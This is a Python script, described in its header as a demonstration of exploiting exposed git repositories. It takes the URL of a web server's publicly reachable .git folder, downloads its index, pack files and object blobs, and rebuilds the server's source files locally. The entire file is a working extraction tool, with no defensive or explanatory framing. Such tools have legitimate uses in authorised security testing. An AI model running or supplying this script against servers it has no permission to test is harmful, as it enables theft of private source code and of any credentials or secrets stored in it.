main.py

# Quick and dirty demonstration of a git exposure exploitation by Walther Lee
# The author disclaims copyright to this source code.

import argparse
import asyncio
import os
import re

import aiohttp

from utils import print_warn, print_green, fetch, batch

parser = argparse.ArgumentParser(
    description='Download files from an exposed git repository in git-repo-url'
)

parser.add_argument('repo-url', type=str, help='url of the exposed .git folder')
parser.add_argument(
    '-f --folder', metavar='path', type=str, help='folder to save downloaded repo'
)


def create_object(folder, filename, content):
    """
    create a git object blob
    """
    # create object folder
    folder_path = os.path.join(os.getcwd(), '.git', 'objects', folder)
    if not os.path.exists(folder_path):
        os.mkdir(folder_path)

    # create object file
    file_path = os.path.join(folder_path, filename)
    if not os.path.exists(file_path):
        with open(file_path, 'wb') as f:
            f.write(content)


def create_file(path, content):
    """
    create a file from blob
    :param project_path: folder to store data
    :param path: relative path from project_path
    :param content: encoded content string
    """
    path_split = path.split('/')
    filename = path_split[-1]
    path = '/'.join(path_split[:-1]) if len(path_split) > 1 else ''
    folder_path = os.path.join(os.getcwd(), path)
    if not os.path.exists(folder_path):
        os.makedirs(folder_path)

    with open(os.path.join(folder_path, filename), 'wb') as f:
        f.write(content)


async def decode_hash(b_hash, git_url, session):
    """
    download a blob by hash, store it and cat-file its content
    """
    folder, obj = b_hash[:2], b_hash[2:]
    url = git_url + 'objects/' + folder + '/' + obj
    status, content = await fetch(session, url)
    if status != 200:
        return

    create_object(folder, obj, content)
    proc = await asyncio.subprocess.create_subprocess_exec(
        'git', 'cat-file', '-p', b_hash,
        stdout=asyncio.subprocess.PIPE,
        stderr=asyncio.subprocess.PIPE,
    )
    stdout, _ = await proc.communicate()
    return stdout


async def unpack_hash(git_url, pack, session):
    """
    download, save and unpack .pack file from git repository
    """
    packs_path = os.path.join(os.getcwd(), '.git', 'objects', 'pack')
    for ext in ('.idx', '.pack'):
        filename = pack + ext
        filepath = os.path.join(packs_path, filename)

        # download packs only if doesn't exist already
        if not os.path.exists(filepath):
            print('Downloading pack=[%s]' % filename)
            url = f'{git_url}objects/pack/{filename}'
            status, content = await fetch(session, url)
            if status != 200:
                m = f'ERROR downloading pack=[{filename}]. status_code=[{status}]'
                print_warn(m)
                return

            with open(filepath, 'wb') as f:
                f.write(content)

    # store `filepath` content in StreamReader
    proc = await asyncio.subprocess.create_subprocess_exec(
        'cat', filepath,
        stdout=asyncio.subprocess.PIPE,
        stderr=asyncio.subprocess.PIPE,
    )
    stdout, _ = await proc.communicate()

    # unpack content using git subprocess, passing StreamReader as input
    proc = await asyncio.subprocess.create_subprocess_exec(
        'git', 'unpack-objects', '-r',
        stdin=asyncio.subprocess.PIPE,
        stdout=asyncio.subprocess.PIPE,
        stderr=asyncio.subprocess.PIPE,
    )
    await proc.communicate(input=stdout)


async def init_git(session, git_url, folder_path=None):
    if not folder_path:
        folder_path = ''

    proj_path = os.path.join(os.getcwd(), folder_path)
    if not os.path.exists(proj_path):
        os.mkdir(proj_path)

    os.chdir(proj_path)

    # init a new git project if doesn't exist
    if not os.path.exists(os.path.join(os.getcwd(), '.git')):
        proc = await asyncio.subprocess.create_subprocess_exec('git', 'init')
        await proc.communicate()

    # download packed data
    url = f'{git_url}objects/info/packs'
    status, content = await fetch(session, url)
    if status == 200:
        # create packs folder and download them
        packs_path = os.path.join(os.getcwd(), '.git', 'objects', 'pack')
        if not os.path.exists(packs_path):
            os.makedirs(packs_path)

        packs = re.findall(r'(pack-\w+)\.pack', content.decode())
        loop = asyncio.get_running_loop()
        tasks = [
            loop.create_task(unpack_hash(git_url, pack, session))
            for pack in packs
        ]
        await asyncio.gather(*tasks)

    else:
        msg = 'ERROR: status_code=[%s] received downloading git packs' % status
        print_warn(msg)

    # download git index if doesn't exist
    index_path = os.path.join(os.getcwd(), '.git', 'index')
    if not os.path.exists(index_path):
        url = git_url + 'index'
        status, content = await fetch(session, url)
        if status != 200:
            msg = f'ERROR: status_code=[{status}] received downloading git index'
            raise IOError(200, msg)

        with open(index_path, 'wb') as f:
            f.write(content)


async def fetch_file(blob_path, git_url, session):
    blob, path = blob_path
    if 'vendor' in path or 'node_modules' in path or 'uploads/' in path:
        return

    content = await decode_hash(blob, git_url, session)
    if not content:
        # search blob in unpacked files
        folder, filename = blob[:2], blob[2:]
        blob_path = os.path.join(os.getcwd(), '.git', 'objects', folder, filename)
        if not os.path.exists(blob_path):
            print_warn('ERROR getting [%s] %s' % (blob, path))
            return

        with open(blob_path, 'rb') as f:
            content = f.read()

    create_file(path, content)
    print_green('Created [%s] %s' % (blob, path))


async def main(git_url, folder_path):
    timeout = aiohttp.ClientTimeout(total=60)
    async with aiohttp.ClientSession(timeout=timeout) as session:
        await init_git(session, git_url, folder_path)

        # get blobs hashes
        proc = await asyncio.subprocess.create_subprocess_exec(
            'git', 'ls-files', '--stage',
            stdout=asyncio.subprocess.PIPE,
            stderr=asyncio.subprocess.PIPE,
        )
        stdout, stderr = await proc.communicate()
        index = stdout.decode()
        hashes_paths = re.findall(r'([\w]{40})\s+\d+\s+([\w\/\.\-_#]+)', index)

        # download, decode and store files
        loop = asyncio.get_running_loop()
        for hps in batch(hashes_paths, size=20):
            tasks = [loop.create_task(fetch_file(hp, git_url, session)) for hp in hps]
            await asyncio.gather(*tasks)


if __name__ == '__main__':
    args = vars(parser.parse_args())
    if not args.get('repo-url'):
        print('You have to specify the url of the git repo')

    url = args.get('repo-url')
    if not re.match(r'https{0,1}://', url):
        url = 'http://' + url

    if url[-1] != '/':
        url = url + '/'

    asyncio.run(main(url, args.get('f __folder')))